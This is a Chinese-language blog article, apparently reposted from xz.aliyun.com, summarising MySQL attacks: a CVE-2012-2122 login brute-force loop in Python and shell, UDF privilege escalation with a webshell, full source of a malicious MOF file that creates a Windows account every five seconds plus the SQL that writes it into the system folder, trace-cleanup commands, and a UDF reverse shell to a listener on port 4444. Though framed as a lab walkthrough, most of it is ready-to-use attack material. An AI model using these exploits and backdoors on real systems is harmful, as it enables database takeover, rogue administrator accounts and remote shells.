mysql数据库漏洞利用及提权方式小结
2020-03-20 10:55:07 Author: xz.aliyun.com(查看原文) 阅读量:439 收藏

CVE-2012-2122 Mysql身份认证漏洞

影响版本

Mysql5.5.24之前
MariaDB也差不多这个版本之前

漏洞原理

只要知道用户名,不断尝试就能够直接登入SQL数据库,按照公告说法大约256次就能够蒙对一次

漏洞复现

msf利用


hash解密

得到密码即可登录

python exp

#!/usr/bin/python
import subprocess

while 1:
        subprocess.Popen("mysql -u root -p -h 192.168.0.16 --password=test", shell=True).wait()

shell exp

for i in `seq 1 1000`; do mysql -u root -p -h 192.168.0.16 --password=bad 2>/dev/null; done

Mysql UDF提权

如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录

利用sqlmap进行UDF提权

利用msf进行UDF提权

使用mysql_udf_payload模块
适应于5.5.9以下,我这边的mysql版本号为5.5.53,已经超出了版本限制,所以不能提权

手工UDF提权

这里上传使用暗月的木马

这作者牛逼牛逼
登录进去,它会自动判断mysql版本决定出导出dll文件位置

然后导出udf,发现没有plugin这个目录

于是我们创建后就能成功导出

但是一直找不到文件。。,
最后使用其它的udf提权文件发现可以,原来是这个udf文件问题,这下便能执行命令

添加管理员,开启3389等。。这里就略过
既然知道了mysql账号密码当然也可以直接连接上去,然后上传文件,执行命令

Mysql MOF提权

直接上传文件MOF提权

直接上传mof.php文件登录后执行任意命令

利用msf进行MOF提权

使用mysql_mof模块,有的版本不能成功,比如我现在这个phpstudy搭建的5.5.53

上传nullevt.mof文件进行MOF提权

nullevt.mof文件源码

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user ghtwf011 ghtwf01 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

他会每五秒创建一个账户ghtwf011,里面命令可以自定义
使用sql语句将文件导入到c:/windows/system32/wbem/mof/

select load_file("C:/phpstudy/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

注意这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据

成功生成了ghtwf011账户

因为每五秒都会生成账户,痕迹清理的时候使用如下办法即可

net stop winmgmt
net user ghtwf011 /delete
切换到c:/windows/system32/wbem后del repository
net start winmgmt

Mysql反弹端口提权

原理就是声明一个backdoor函数
exp如下,exp太长了文章发不出来。。我附件出来吧

第二条定义的@audf.dll内容的16进制
依次执行命令
kali使用nc监听,这边执行select backshell("192.168.0.12",4444);


成功提权拿到shell

参考链接

https://www.freebuf.com/vuls/3815.html
https://xz.aliyun.com/t/2719#toc-14


文章来源: http://xz.aliyun.com/t/7392
如有侵权请联系:admin#unsafe.sh